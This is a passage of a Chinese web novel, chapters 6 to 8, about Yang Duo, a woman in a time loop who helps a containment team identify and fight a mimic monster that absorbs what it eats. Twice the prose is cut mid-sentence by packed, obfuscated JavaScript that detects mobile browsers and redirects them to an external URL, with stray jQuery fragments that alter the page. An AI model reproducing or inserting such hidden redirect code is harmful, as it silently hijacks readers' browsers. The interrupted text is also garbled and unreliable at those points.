后者眉头却仍微微蹙着,像是还在琢磨她方才所说的真实性。 又过片刻,才见她眉心渐渐松开。 “可以。很有意思的想法。”她轻轻道,“也很唬人。” “不愧是单枪匹马敢就往收容区闯的,够虎啊。” ……这听着可不像什么好话。 阳朵的心再次悬了起来。 所幸对方没再继续追问什么。而是一边维持着持枪的姿势,一边收好球拍,单手掏出个类似对讲机的设备,低头操作。 ——之所以说是类似,是因为形状看着挺像,但按钮却要多得多。 “?”阳朵不解,“这是在做什么?” “联络观测员。”旁边绿发男人好心解释,“他们一直都在用设备检测情况,如果真有什么变化,他们多半会比我们先知道。” “多半?”阳朵皱眉。 “话不能说太死。”绿发男人耸肩,“这鬼地方,一切都有可能。” 说完,又忍不住笑了下。 “话说回来,你是真能瞎掰啊,我们组长是研发那边转过来的,转来前职位可不低。居然连她都被你唬住了。” “瞎掰?我没有。”阳朵眉头却拧得更紧,想也不想地回了一句,无视对方骤然错愕的眼神,只配合地站在原地,安静看着前方。 这是实话。 ——她确实没胡扯。她说的那套方案从头到尾都完全可行,她自家机器人的危机预警模块就是这么装上去的。 相关的技术荒原很早就有了,据说有些胆大的改造人,还会直接把这种用怪物器官做成的功能模块装进假肢义体——这对他们而言,和装个音频播放器没什么两样。 不过阳朵也很清楚,这地方的研究,还远远没到这一步。 在之前的循环里,她曾进过这儿的实验室。虽然很多仪器和文件都看不懂,但对他们研究异形怪物的进度,还是大致有数的。 这也是为何她刚才要说这些。 她知道他们很难信她,那关于原理的一问,也纯粹只是刁难。但她更清楚,这三人比外面的看守更难对付,一个不慎,自己就又是被麻醉枪一枪放倒的结局。那就太亏了。 阳朵不在乎自己这轮会不会死,但她需要尽可能多的情报。所以她得保持清醒。而一个普通的可疑人物,和一个疑似掌握神秘情报的可疑人物,明显后者被一枪放倒的概率要更低一些。 ……还好,目前来看,她赌对了。 阳朵暗自松了口气。 另一边,女人似乎顺利联系上了观测组。 “开洋,是我,刘崎巍。”她听到对方对着对讲机道,“我们遇到点状况,所以来确认一下……” “你们那边,有发现什么异状吗?” 6.第六章 通讯器里很快有回应传出。声音是功放的,说话的是个年轻男人。 “异状?有的有的!”只听那人飞快回道,伴随着翻本子的动静,“就在不久前,我这边采集到了不属于组长你们的脚步声……” “这我知道。我们已经找到她了。”那被称为组长的女子看了眼阳朵,“还有别的吗?” “别的……这不确定啊。你等我翻翻。” 通讯器那头的男人应了一声,跟着便是一阵窸窸窣窣的翻找声,以及机械运转的嗡鸣。 又过一会儿,才听他惊讶道:“组长!还真有! “大概十分钟前,空间内一直出现一种频率很高的奇怪声响,咔咔咔的,有点类似,呃,啮齿类动物的啃噬声。” ?咔咔咔……? 阳朵瞟了眼周围拧眉的三人,默默捂住挎包,故作镇定地移开目光。 “此外,还有一种很轻的碰撞声。”通讯器那头继续道,“大概也出现在十分钟前。听着有点像……嗯,很多塑料瓶撞在一起,但相对没那么吵。” ……塑料碰撞声…… 阳朵用另一只手捂住口袋,暗自庆幸先前自己逃跑时为了引开怪物的注意力,几乎把兜里的包装壳扔了个干净。 “——一共就这两种了。”恰在此时,通讯器那头的人又甩出一句,信誓旦旦。 阳朵听得一愣,忍不住出声:“怎么会?你确定再没别的了吗?” 那个怪物追她的时候,明明一直有发出嘎吱嘎吱的强烈摩擦声——这声音可比她吃饼干要响多了好吗。 ……但话说回来,她之前是不是在哪儿也听过这种声音来着? 似是想起什么,阳朵话语一顿。另一边,那头的观测员已经坚定给出了答案: “确实没了,就这两种!” 顿了顿,又好奇:“那个,组长?请问刚才说话的是——?” “就是这次闯进来的人。”组长刘崎巍淡淡应了声,“是叫……哦对,麻烦出示一下你的身份卡。” 就知道躲不过。阳朵闭了闭眼,老实掏出卡片递过去。 还好,组长对她的名字也没什么特殊反应。 不仅如此,观测员所提到的那两种“异响”,似乎还变相提高了阳朵在她眼里的可信度;递还卡片的同时,她也终于松口,主动询问起那所谓“预言”的具体内容。 阳朵如释重负,立刻描述起那段经历了好几轮的未来——当然,为免多说多错,大部分细节都被含糊带过,只强调了十四点四十五的爆炸声,与那怪物本身的特征。 ……只是才刚说完,她就有些后悔了。 坏了。阳朵想,她不该强调时间的。 从被追击到现在,她一直都没能抽空确认时间;上一次看手机还是在刚进来的时候,当时已经十四点三十六,到现在,怕是早过四十五了。 时间已过,预言中的爆炸却没有发生,这话说出来,怎么可能有说服力? 再一抬眼,果然,不止那组长,所有人脸上都是如出一辙的微妙。 “……我知道,时间方面是对不太上……”没有办法,阳朵只能赶紧开口找补,没想才刚说话,就见刘崎巍摇了摇头。 “不,时间不是问题。”刘崎巍沉吟,“能影响时间的因素很多。而且因为你的出现,我们原本的任务路线早就被打乱了,就算预言为真,出现误差也正常。” 她抿唇:“我在意的不是这个。” “?”阳朵茫然,无端涌出几分不妙的预感,“那你在意的是……?” “148号凉山北虫球,是一种可以在特定环境内高速移动的怪物,这点确实符合你的描述。”刘崎巍继续道,“过往实验中,这东西也确实对大脑这类胆固醇和脂肪偏高的部位表现出明显的进食偏好……” “可首先,我们确认它没有致幻和变形的能力。其次,它的形态,应该是一颗眼球大小的,由许多肉色蠕虫虬结而成的肉色球体。” 她望着阳朵愕然瞪大的双眼,神情愈加严肃: “这和你描述的那种灰色物质,听着可完全不像是一种东西啊。” * 同一时间·148号收容空间·1号安全点位内。 纯白的房间里仪器遍布,而王开洋,这次任务的观测员之一,正坐在一堆线圈机械之间,捏着通讯器,神情复杂。 两边通讯尚未中断,刘崎巍那边的对话他自然也能听到。不过他在意的,倒不是那一连串匪夷所思的所谓预言,而是阳朵这个名字本身…… 怎么说呢,总觉得像在哪儿听过。 具体在哪儿,却又想不起来。 收容空间内没有信号,也联系不上外界。他只能一个人在那儿苦思冥想。冷不防听见身后脚步声响,一转头,才发现是另一名观测员刚从外面进来。 对方很不走心地和他打招呼。王开洋应了一声,看到对方手里拿着的东西,又是一愣:“这啥?” “用来观测的295啊。”那同为观测员的女生说着,顺手将手里那只神似竹节虫的东西拎起来晃了晃,“这个坏掉了,我就收回来了。” “哦,那你放回收箱里吧,回头一起报修。”王开洋了然点头,顺手向后一指,很快便收回了目光。 ——295号收容物,俗名隐身墙皮虫,是一种危险度极低的异常存在,形象上类似大号黑色竹节虫,拥有一定的隐身能力,习惯贴着墙面生活,采集声音为食。 不过他们手里这些,虽也叫295,却并非收容物本体。而是研发部利用采集到的怪物部件制作而成的仿生物。因继承了本体的隐形能力和采集声音的特征,所以被量产用作观测用道具—— 这种仿生物只有巴掌大小,只要将其贴到墙面上,它就会自然地与之融合,并开始自动采集一定区域范围内的声音,再以特殊方式传回指定仪器之中。 他之前向组长他们描述的“咔咔”声和碰撞声,就是这么听到的。 不过这东西好用归好用,毛病也多。 首先就是它收录的声音都是单声道,哪怕是同时爆发的声响,都会被它分成不同的声轨单独保存,这就导致他们有时很难根据收到的信息精准判断情况; 其次,就是由于它自带的隐身能力,导致有时会自然隐形,需要通过镜子、玻璃之类东西才能看到,回收起来比较麻烦…… 最后,就是容易坏,动不动就罢工。彼此间又有同类豁免,无法采集到其它同类采集范围的声音。所以经常会出现有墙皮虫坏了,导致信息错漏,观测员却茫然不知的情况。 要想避免,就只能匀出人力,专门负责巡逻检查。 像这回就是,一共两个观测员,他负责室内仪器,另一人负责外面的墙皮虫。但因为地图太大,都有些忙不过来。 王开洋还在那儿纠结阳朵的事,眼见同伴又要离开,想想还是忍不住将人叫住,捂着通讯器小声开口:“诶,小贝,问你啊。你听说过‘阳朵’吗?” “阳朵?”那女生一怔,立刻点头,“听过啊,研发部那个要离职的嘛。” “离职?”王开洋瞪大眼,赶紧将通讯器捂得更牢了些,“为什么?” “具体我不清楚,好像是因为精神问题。”女生认真回忆了下,不确定地摇头,“我也是午饭的时候听研发部那些人提到的。没细问。” 对对——想起来了! 王开洋猛然瞪大眼。他说为啥觉得这名字耳熟呢。 中午食堂那些研发人员聊天时,他也坐附近来着。 可要这样的话……那、那不就出大事了吗! 王开洋脸色倏然一变。 他不是研发部的人,不知道什么预言设备,但他知道每年单位都有因为受到“那些东西”影响而心智失常的员工,更知道那些失常的人有多可怕。尤其是那些本就聪明的,他们什么都做得出来…… 王开洋呼吸渐渐急促。 对他内心的震惊一无所知,另一名观测员只惦记着手头的工作,见他不再说话,便拿着只新墙皮虫,自顾自走了。 剩下王开洋一个,原地头脑风暴了好一会儿,终于打定主意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931766|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿起通讯器就要示警,却听阳朵声音再度响起: “……那另一只呢?也完全不一样吗?” ?什么另一只? 王开洋一怔。 通讯器的这头,刘崎巍显然也被阳朵问懵了。沉默片刻才道:“我不明白你的意思。这地方关着的怪物就148一个——” “不,不止。”阳朵语气笃定,“要么就是你们哪里搞错了。” 她有些没耐心了,只觉这里的人脑筋怎么都跟三个月没通过的排废管似的: “你好好回忆下,我会在这里被你们堵上,不就是因为刚才被怪物追? “而那个怪物,灰色的,有手有脚。我还听到过它的脚步声。明显也不是你们描述的那个虫球,难道你也要否定它的存在吗……对了,还有!” 她猛地转头看向旁边的绿发男人:“刚才你就在这里。那怪物的脚步声,你应该也听到了,是不是?” “啊?呃……”那绿发男人微微一怔,眼神闪动两下,旋即用力点头,“对,对对,我想起来了,刚才是有听到来着。叮铃哐啷的,非常明显。” “……”这话听得阳朵眉心一动。 另一边,刘崎巍神情则越发凝重:“可我的位置也很近,刚才并未听见其它动静。而且根据记录,148号也太不会通过追击来获取猎物。” “那排除记录有误的可能,最大的可能就是存在另外一只了!”阳朵果断无视了她的前半句,只抓着后半句发挥道,“根据我的理解,你们应该也不会时刻关注被关在这里的东西,对吧?” 不注视不无视什么的……反正她记得有看过类似词汇。 阳朵抬高声音:“说不定就是在你们没有观察的时间里,有其它怪物混进来了呢?” “……” 刘崎巍没应声了。只依旧紧锁着眉头,不知在想些什么。 倒是通讯器另一头的王开洋,听到这儿终于忍不住插嘴了:“可你之前还说自己见到的是一团灰绳子咧,那也没长脚啊。” 他这一声来得突然,阳朵都被吓了一跳。不过很快,她便回过神来,再次沉声: “这又不冲突。你们只能确定虫球不会变形,不是吗?假如真存在另一只怪物的话,你们真的有办法确认它的能力吗? “如果它恰好擅长变化或拟态的话,那形象上会有差别也很正常了,对吧?” …… 哈? 哈?! 这越说越离谱了吧?怎么连拟态都出来了? 这里是异常收容所,她以为是什么,动物世界吗? 王开洋揉了揉眉心,觉得自己不能再沉默了—— 他们这次的加固本来就很不顺,相关流程重复了一个多小时,任务却迟迟没完成,这已经很不妙了。 更别提人类本就不能在收容空间久待,待得越久越危险,他可不能眼睁睁看着大家的时间被一个心智失常的家伙浪费…… 打定了主意,王开洋再度拿起通讯器。 正要开口,忽听身后传来一阵轻微响动,不由又是一顿。 他第一反应是离开的同伴又回来了——作为安全点位,他们这个房间是有装门板的,只是转轴不太灵活,开合时总会有类似的杂音。 可再一细听,又不太对。 那声音咔哒咔哒的,不像是转轴的杂音,倒像是昆虫振翅。又仿佛谁的关节,正在一点点打开。 而且听着很近很近,明显就在这房间里…… 准确来说,是在他身后。 ——意识到这点的王开洋凝固了。 背脊开始发凉,呼吸都仿佛被冻住。他瞪大眼睛,不知费了多大劲,才终于挪动自己僵硬的手指,探向腰间的枪袋。 手指碰上枪柄,像是握住了一丝微弱的勇气。他深吸口气,终于下定决心,紧绷着转过头去。 正见一个灰色的、细长的、仿佛巨大竹节虫般的畸形人影,自回收箱中慢慢站起。 裹满粘液的前肢落下,踩在潮湿的地板上,发出响亮的嘎吱一声。 7.第七章 听着通讯器内骤然传出的惨叫,所有人神情都是一变。 “开洋!”刘崎巍抓着设备的手猛然收紧,“出什么事了!” “怪物入侵!怪物入侵——”回应她的是王开洋惊恐到变形的吼声,伴随着冒出一阵叮铃哐啷的杂乱碰撞声,以及哔哔哔的连续按键音,紧跟着,又听他声音再次响起: “高度三米左右,类人型,有四肢,无五官,四肢与躯干呈细长竹竿状躯体灰色遍布粘液我的遗书编号是34890——” “没人想知道这个!”刘崎巍紧急打断了他,一边示意旁边的绿发男人和眼镜女子赶紧确认返回路线,一边留神听着对面的动静。发现对面各种杂音暂停,立刻问道:“你那边现在怎么样?” 那头的王开洋粗喘两声:“还行,我把能开的防护全开了,现在先用阻拦网把它拦住了,但我不知道能撑多久——啊啊啊它在撕了!它已经在撕了!” 像是呼应着他的话语般,通讯器里传来清晰的,织物被撕开的撕拉声。 紧跟着则是一声类似打了空枪的声响。始终沉默的阳朵终于看不下去,一个快步上前,劈手夺过刘崎巍手中的通讯器。 “麻醉枪没用,用酒!往它身上泼,越多越好!” “?!”那头的王开洋似乎被她声音吓到,一时没了动静。 然而很快,他更加绝望的声音响起——“没有酒!!” ……行。那没事了。 阳朵闭眼。却感手中通讯器又不知被谁猛地一抽—— 一转头,才发现那个戴眼镜的女子不知何时也靠了过来,正对着通讯器声嘶力竭: “有的有的!医疗箱! “开洋——消毒酒精!在医疗箱——” 医疗箱、医疗箱……医疗箱在哪儿来着!! 一片狼藉的安全点位里,王开洋开始拼命东张西望。 他的面前,是正被一寸寸扯开的防护阻拦网,破裂的缝隙间,是一整排正在向外窥视的细密眼珠。 不能看不能看不能看……王开洋倔强地移开目光,理智告诉他此刻应该闭眼,可求生欲又让他忍不住睁开眼四处搜寻。 医疗箱医疗箱……找到了!在那里! 连滚带爬地扑过去一看,酒精也还在! 接下去该怎么——对对,泼泼……要怎么泼…… 等一等。 他……真要这么做吗? 按那个疑似精神失常的阳朵的建议做? 王开洋动作一顿,下意识垂眼。 只见面前的医疗箱里,除了必备的急救药物外,赫然还有一把备用麻醉枪。 不及细想,旁边已经传来防护网被彻底撕裂的声音。 没时间再犹豫了。王开洋心一横,眼一闭,索性抱着赌一把的想法,抓起药箱里的东西便用力向外一甩—— 轻微的碰撞声响起。巨大的阴影停在前方,世界忽然一片安静。 紧闭的双眼试探地睁开一条缝。旋即不可思议地睁大。 王开洋瞠目望着面前僵停的怪物,一时间,耳畔只有自己剧烈的心跳。 * 通讯器的这头,一群人正屏着呼吸,提心吊胆地听着另一侧的动静。 短暂的静默中,他们只能听到人类急促的呼吸声。紧跟着,是连串的狂奔声、碰撞声、拖行声——直至最后,砰的一下,像是什么东西被重重关上。 又过片刻,方听王开洋颤巍巍的声音再次响起: “报告组长,我、我好像活了……” “……”除阳朵外的三人纷纷松了口气 刘崎巍紧抓着通讯器的手终于松开,再次问起他那边的情况。 王开洋三言两语说得简单,只是在提到用酒自卫这一茬时,微妙地顿了下。 “……然后,我就又往它身上补了点酒精,然后趁它动不了逃出来,还把它关在了里面……” 他轻轻咳了一声:“那个,阳朵同志是吧?嗯,谢谢了啊。还有灵慧,多亏你提醒我找药箱。” 那戴眼镜的女生笑了下,说了声不客气;阳朵偏偏头,却只在意另一个问题。 “关在里面?”她下意识出声,“怎么关?关的住吗?” “安全点位都是经过特殊处理的,本身就有临时监狱的作用,关门状态下防护很强。” 刘崎巍解释了一句,旋即叹气: “只是这样一来,那些没来得及撤离的设备估计都完蛋了。” “我努力带了些出来,但有些太重的实在带不了。”王开洋的声音里充满歉意,“组长,对不起啊,是我疏忽。” “没事。别多想。”刘崎巍安抚,“人没事就行。你现在人还能动吗?可以的话赶紧去2号安全点位,进去前切记先把里面东西检查一遍……” “行,我已经在过去了。”王开洋蔫蔫回了声,听动静,似乎还带了不少东西,“不过小贝还在外面巡逻,你们那边能帮忙联系下吗?” “?小贝?”刘崎巍愣了一下,旋即飞快点头,“明白了。那你赶紧去2号点位,进去后直接锁门,记得谁来敲门都不要开。哪怕是认识的也不要开。点位里应该还有一个应急物品箱,里面有清醒药剂,你拿一份自己喝掉。” “……?”王开洋起初还认真听着,听得后面却越觉不对,“不是,组长,为什么我要喝——” “因为小贝今天生病了,根本没有来。我们队伍里就你一个观测员。”刘崎巍冷静说着,想想又补充一句,“电话不要挂断。保持通讯状态啊。” “……”那头的王开洋却似又懵了,好一会儿才讷讷地答了一声,听着像是还没回过神。 好在他人没回神,动作却很利落,很快就带着东西逃进了点位,还给刘崎巍报了平安。 也直到这时,刘崎巍方彻底松了口气。 “到了就好——”刘崎巍如释重负地垂眼,手中的麻醉枪早不知何时垂了下来。 她盯着阳朵看了片刻,又将麻醉枪插回枪套。 “这次多亏你了。阳小姐。”她带着歉意地笑了下,“之前多有冒犯,还请见谅。” …… ……? “阳小姐”这个称呼对阳朵来说实在太陌生了,以至于她一开始都没反应过来。直到发现其余两人都没应声,方后知后觉地“啊”了一声。 和她说话呢? 行。好的。她听到了。 反应过来的阳朵点点头,“哦”了一声。算作答复了。 刘崎巍笑了下,也没在意,只又转向通讯器,嘱咐王开洋将反而安全点位的路线尽快同步给他们。而后便放下通讯器,再次看向阳朵。 “空间内的地图复杂,还会随机变动。在开洋同步路线前,我们最好不要乱动。”她简单解释了句,又冲阳朵微微颔首: “在此之前,阳小姐,能请你再花点时间,好好讲讲你之前被追时的事吗?” * 关于那次追击,其实阳朵也觉得挺奇怪。 一来,从这些加固者的反应来看,酒精并不是普遍意义上的怪物弱点。能被它克制的才是少数,这就意味着,那个追击自己的怪物,和先前循环里的,大概率是同一个。 可从过去的经历来看,这种怪物的移动速度应该非常快,快到能在爆炸后迅速冲到位于收容所另一头的茶水间;可刚才遇到的怪物,并没有表现出类似特点。 还有就是……它的脚步声。 阳朵已经想起来是在那儿听过这个声音了。 ——那个收音机。她在正式进入收容区前看到的古怪收音机。 当时那个收音机自动打开,里面除了含糊的女人说话声外,还有就是那种嘎吱嘎吱的刺耳摩擦声。 和怪物的脚步声几乎一模一样。是巧合吗?如果不是,这又该怎么解释? …… 问题太多,显然没法一次解决。阳朵收敛思绪,索性也没多提之前的事,只仔细向刘崎巍复述了一遍自己进入收容空间后的经历。 后者听罢,面露思索。 “有外来怪物入侵,这事儿目前已经是铁板钉钉……但搞不清其来源和种类,处理起来怕还是棘手。”她沉吟道,“目前只能确定它本身是灰色,细长肢体,会隐身,还能伪装成墙皮虫……” “伪装?”阳朵却是不解,“为什么这么说?万一它就是那什么墙皮虫呢?” “不太可能。真正的墙皮虫本体在另一个收容所,而且它本身危险程度极低,不太可能逃出来,就算逃,也逃不到我们这儿。”或许是感念阳朵之前的帮助,刘崎巍现在的解释都很仔细,“所以我更倾向于,那只入侵的怪物如你所说,拥有比较强大的拟态能力。” “可这样的话,时间对不上啊。”绿发男人抱起胳膊,“前脚还在追阳小姐,后脚就伪装成墙皮虫去碰瓷观测员?那它的移动速度也太快了。” 阳朵暗自点头。没错,如果对方速度真能有那么快的话,当时追杀的时候早就追上自己了。 顿了顿,她又推测道:“也就是说,那种灰色的人型怪物,应该有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940455|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只?甚至更多?” “那个。不好意思我插一句哈。”就在此时,通讯器的王开洋弱弱冒头,“先说一下我没有反驳阳小姐你推测的意思。只是我刚打开我这边的基础仪器看了眼,显示是只有一只怪物的……” 事实上,自打他们进来后,那台仪器从头到尾显示的怪物数量都没变过,一直都是一个。 他之前一直对阳朵的猜测分外不屑,这也算是原因之一。 “完了,不会是那仪器坏了吧。”绿发男人咋舌。 “坏不至于。进来前都是检修过的。”刘崎巍再次摇头,“不过这仪器也是有漏洞的。如果一个空间内同时存在一个本体和多个分体的话,它就只会计入本体的数量——这或许是个思路。” “那还是不对啊。”绿发男人立刻道,“那种灰色怪物,和148虫球明显不是一类。可如果二者共存的话,那仪器显示的数量应该是两个才对。” “我在想,或许……虫球已经没了呢?”刘崎巍抿唇。 绿发男生一怔:“你的意思是……它被进入的怪物干掉了?” “概率很小,但并非不存在。”刘崎巍道,“而且这是最能解释当下局面的可能了。” “这个空间是针对148号创设的,在这里,148号的力量会被削弱。对上同等级的入侵者,会被吃掉也说得过去。” 唯一想不通的,就是那第二只怪物是怎么进来的——他们就是从入口进来的,如果入口有入侵痕迹,他们早就发现了…… “等一等。”一直在旁静静听着的阳朵忽然开口,顺利引来了其余三人的目光。 她也没在意,只认真又向刘崎巍确认了一遍:“你刚才说,在这里,虫球的力量会被削弱?” “没错。”刘崎巍顿了下,缓缓点头,“毕竟这里是它的收容空间……” “那速度呢?”阳朵紧跟着问道,“你说它的移动速度很快。那在这儿,它还快得起来吗?” “应该是不行的吧。”刘崎巍若有所思,“除非这个收容空间失效率大于40%……可从目前情况来看,这里的失效率还没到这个界限……” 失效率又是什么?算了不重要。 阳朵拍拍额头,只觉脑中多了一根透明的线,终于能将部分碎片接连串起—— 已知,怪物早就吃了虫球。在追她时却只能腿着追。反而是在之前的循环里,表现出子弹般的移动能力。 已知,怪物会隐身,有和墙皮虫类似的造型和能力。且享受着墙皮虫内部的同类豁免。 已知,这地方本来就布置了很多墙皮虫。 阳朵了然:“我懂了。它不光吃了。它还消化了!” ……?! 回应她的是另外三人诧异的目光。阳朵忙提高音量:“那个怪物能继承自己食物的特征和能力,所以它才能变成那什么墙皮虫,还同样可以隐身——” 她才不信那怪物没有吃墙皮虫。这种送上门来的食物,不吃和自杀有什么两样! 那种高速移动估计也是,是从虫球身上继承来的。只是它在获得虫球能力的同时,还一并获得了它身上的削弱效果,所以得等到逃出后,才能彻底发挥…… “原来如此!”刘崎巍恍然大悟地接口,“这就说得通了!” “等一下。”守在通讯器那侧的王开洋颤颤开口,“组长,那我看到的小贝……” “小贝没有进来。理论上应该没事吧?”绿发男人搔了搔脸颊,“你看到的会不会是幻觉啊?” ?通讯器那头的王开洋一愣。 再一细想,他这才发现,那个曾与自己说话的“小贝”,自己根本想不起她的面容和衣服。 “……”尽管已经受过一次惊吓,他还是忍不住一阵背脊发凉。 不只是他,通讯器的这头,刘崎巍同样脸色难看。 “不对劲。”她喃喃道,“安全点位的位置,隐秘到我们都必须依靠路线图才能找到。那个外来怪物又是怎么知道的?” ……总不能是靠着吃墙皮虫,一路找到的吧? 这想法让刘崎巍心头又是一沉。就在此时,却听一道细细的声音迟疑响起:“那、那个……” “?”几人循声回头,只见那个从头到尾一直沉默的、戴眼镜女生正小心翼翼地举手。 对上几人目光,她腼腆地扯了扯嘴角,声音依旧细细的: “那个,我其实也不确定…… “但听你们的描述,我想,我好像能猜到,这次进来的是哪个收容物了。” 8.第八章 阳朵讶然望着面前的女生。 后者面上还带着些拘谨,说完请示地看了眼刘崎巍。见她点头,方从包里拿出一台平板电脑,熟练地点了好几下,又划拉好久,调出一个界面,递给其余几人看。 这份资料并没有避着阳朵。她一眼就看到了最上方的怪物名称:“189号……带拿吞噬者……” 好的。又出现了,看不懂的词组。 阳朵撇嘴,听见一旁的绿发男人同样困惑出声: “王灵慧,这字是打错了吗?应该是佩戴的戴吧?” “不哦,就是带拿。”王灵慧认真道,“连吃带拿的带拿。” ……? 阳朵缓缓冒出一个问号。 “这怪物是在三年前异常大爆发时期收容的,当时命名规则还没统一,审批不完善,怪物名称也都是由各区收容者自己负责的,大多没什么创造性,十个收容物有八个都被取名‘吞噬者’。”王灵慧进一步解释。 “后续建立统一数据库时为了加以区分,才在它们的名字前各自加了前缀。而就像阳小姐推测的,这一只的外在特性就是能通过进食来获取能力迅速进化,被当时的收容者吐槽‘连吃带拿’——所以就叫带拿了。” 所以吐槽又是……算了不重要。 阳朵抱起胳膊:“那,这个带拿,很厉害吗?” “算是吧。”王灵慧正色,“它不仅能够通过进食成长,还有分裂属性,一旦发育起来,伤害可爆炸了。” “分裂?”阳朵挑眉,下意识又往平板上看,却没看见任何相关的描述。 “别看了,这上面不会有的。”一旁绿发男人见状低声道,“王灵慧什么都知道,安静听她说吧。” “也没有啦,就记得个大概……”王灵慧腼腆一笑,推推眼镜,又瞬间正色: “带拿吞噬者,最初被发现于西京郊区的一处单元楼里。它可以通过进食来获得食物的能力、记忆和外形特征,并能将它们自由组合,但也会在无意识的情况下获得对方的偏好和弱点。且每次进食,它就会多生成一个分裂体,本体的基础能力也会加强…… “据说首次被发现时,它已经占领了整整一栋楼。楼内八十一户居民、十二只宠物猫狗、七只鹦鹉外加九十八条热带鱼,全是它的分体。” 王灵慧说到这儿,忍不住吐了吐舌头:“听说它还吃了一整面的承重墙呢。也不知道怎么下得去口的。” “行了,怪谈故事出去再说。”刘崎巍及时叫停,“弱点呢?” “嗯……弱点的话,我只能想到三个。”王灵慧点点下巴: “第一,就是它本体很笨重,拟态能力也很受限。正常情况下无法变成体积小于自己的存在,如果强行变化,则维持时间不会超过十分钟,且无法攻击和进食。因此,虽然本体能在一定程度上影响人的心智,但论威胁性反而不如分体。 “第二,就是在本体完成进食后的五分钟内,所有分体会强制变成它刚刚吃下的东西,并暂时只能使用该食物的能力。只有过了五分钟后,所有分体才能再次自由变化。但由分体进食的话,就没有这种限制。” 顿了顿,她的目光看向阳朵:“第三,就是像你说的。乙醇能限制它的行动。浓度越高效果越好。但这弱点并不致命,且会随着它的生长逐渐消弭……” 哦——原来如此。 阳朵恍然大悟,她就说同样是被果酒泼,怎么感觉这里的怪物会被定得更久呢。 “那你们接下去打算怎么办?”她紧跟着问道,再次瞟向那个写着资料的平板,“按照这上面写的进行加固吗?” 那平板上的格式,和她摸来的那张纸上的很像。其中大部分内容,也都是关于该如何进行“针对性加固”的。 字儿太密了,从她的角度只能捕捉到几个关键词,什么保持空腹在指定位置布置食物并泼酒……看着就好难受! 不想刘崎巍却是摇了摇头。 “这里不是它的原装空间,它的苏醒程度也已经超出指定范围,针对性加固已经不适用了。必须采用力度更大的方案……” 她说到这儿,眉心拧起,又转向旁边:“灵慧,如果要做‘重构加固’的话,我们手头的资源够吗?” “呃……等我想想啊。”王灵慧开始拼命揉起太阳穴,“189号189号,我记得如果是针对它的话……” “有效加固码数量应在至少三十个,人员配置无要求,装配者属性无要求,无特殊绘制规则,绘制材料推荐使用骨笔或是黑血羽毛笔,加固码推荐使用2号、8号、32号、56号,其中2号和8号有加成——对,应该是够的!” 她猛地一合手掌。定了定,又从包里掏出一本厚厚的、中间高高鼓起的笔记本,开始低头猛翻: “我记得好像是这样,但有点不确定。你们等我确认一下啊!” 阳朵:…… 嗯,从那什么“重构加固”开始就基本没听懂。 但不妨碍她稍感震撼。 另一边,刘崎巍似乎也已有了决断,正拿着通讯器和王开洋说话。 大约过了一分钟,眼见王灵慧确认完毕,她便也拍了拍手。 “行,那我们这就走吧。”她干脆道,再度看了眼阳朵,“先送你离开。” “?”阳朵一怔,“离开?去哪儿?” “安全点位啊。”刘崎巍道,“把你送过去,顺便确认下开洋的状态。而后我们会出去执行新一轮的加固任务,等完成了再来接你们。” 说完,注意到阳朵骤然瞪大的眼睛,还以为她是不乐意,赶紧又补充一句:“抱歉,加固期间这地方只进不出。安全点位已经是这里最好的位置了。” 她没有说如果加固失败会怎样。事实上,她觉得也不用明说——阳朵给的预言里都挑明了,这个怪物最后是有可能冲破收容空间的。既然如此,那闯进安全点位估计也是迟早的事…… 正好开洋那儿也已经确认了返回路线,事不宜迟,刘崎巍招呼着另外两人列队,边说边抬起腕表看了眼时间。 刚要放下,胳膊却被人一把抓住。她诧异转头,正对上阳朵紧蹙的眉头。 “我不去安全点位!”只听阳朵匆忙道,“我和你们一起吧!” “?!”刘崎巍诧异,“一起……?” “嗯。我手脚很麻利,不会拖后腿的!”阳朵立刻补充,心脏狂跳。 她也不知道这个决定对不对,但—— 一边是少了许多检测仪器,一旦进去后就只能被动等人来接的安全点位;一边是游走一线,无论任何威胁都会被迫直面的加固队伍。 二者之间,哪一边能收集到更多的信息,甚至有能力改变结局,答案似乎很明显了。 她望着刘崎巍略显纠结的双眼,想了想,又道: “而且……如果之前的猜测和分析都没错,那现在空间里应该是有一个怪物本体和两个分体。其中一个已经被困在安全点位,另一个和本体却还在外面。一旦它们同时出现,你们就要面临三打二。带上我的话,起码你们还能多一个助力呢。” “……也是。” 片刻的思索后,刘崎巍果断点头:“不过这样的话,就没必要四个人一起行动了。目标太大。而且分组行动,效率也高些。” “大白,阳小姐,你们两个一起行动,可以吗?” 阳朵松了口气,松开抓着她的手;被称作大白的绿发男子也非常干脆地点了点头。 “行,那你们也不用去点位了。拿上东西,直接出发。”刘崎巍继续道,“灵慧,数一份资源给他们。” “好嘞。”王灵慧立刻放下手里的大包,一倒一抖,又叮里哐啷倒出一堆东西,“绘制笔、紧急联络BB机、迷你医疗包……都记得带一份啊。” “对了,这里还有一些东西,都我自己带的,你们看有没有需要的?” 她说着,将地上的一些非必需品拨拉出来。 这些都是她以防万一揣上的宝贝,包括但不限于可伸缩的撬棍、可伸缩的工兵铲、指虎和桃木小剑十字架…… 身为同伴的绿发男人笑了下,默默退到一边,显然并不感兴趣。 倒是那个叫阳朵的,专心致志地盯着那堆东西看了会儿后,忽然蹲下了身。 可以,一看就很识货! 